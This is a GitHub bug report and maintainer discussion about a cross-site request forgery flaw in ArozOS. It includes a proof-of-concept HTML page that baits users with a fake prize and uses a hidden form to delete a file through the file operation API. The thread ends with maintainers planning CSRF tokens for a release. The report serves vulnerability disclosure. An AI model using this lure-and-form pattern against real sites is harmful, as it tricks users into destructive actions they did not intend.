search

tobychui / arozos

Web Desktop Operating System for low power platforms, Now written in Go!
https://os.aroz.org
GNU General Public License v3.0
2k stars 145 forks source link

[BUG] Cross Site Request Forgery (CSRF) Attack #62

Closed YamiOdymel closed 3 years ago

YamiOdymel commented 3 years ago

Describe the bug A button from the other website is able to redirects the user and deletes he's own file while he didn't notice.

To Reproduce

  1. Create a fake website, webpage.
  2. Fool the user with a custom form that calls the file_system/fileOpr API to the ArozOS.
  3. Anyone who clicked the button deletes he's own my_very_important_file.txt without any notice.
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <title>You won the prize!</title>
    </head>
    <body>
        <h1>OMG! You've won a free Big Mac!</h1>
        <p>To get a reedem code, press the button below!</p>
        <form action="http://localhost:8080/system/file_system/fileOpr" method="POST">
            <input type="hidden" name="opr" value="recycle" />
            <input type="hidden" name="src" value='["user:/my_very_important_file.txt"]' />
            <input type="submit" value="Get my reedem code!" />
        </form>
    </body>
</html>

Expected behavior ArozOS should've treated this as an illegal request with CORS or CSRF Token solution.

Screenshots sshot-1033

Host Information(please complete the following information):

Client Information(please complete the following information):

blackphreak commented 3 years ago

@tobychui A CSRF token system could be implemented to solve this problem.

tobychui commented 3 years ago

@tobychui A CSRF token system could be implemented to solve this problem.

Ok cool 👍🏻 I am thinking if there are any implementation that we can work on all the ArozOS endpoint at once without changing the whole infrastructure. Server side can be handled using the prouter module (Permission HTTP router). But I didn't have any idea regarding client side code implementation for the CSRF token system. Any clues?

tobychui commented 3 years ago

CSRF Token generation and validation mechanism has been implemented in internal nightly version of ArozOS and scheduled to be release with the v1.114 release. 2021-05-23_20-40-05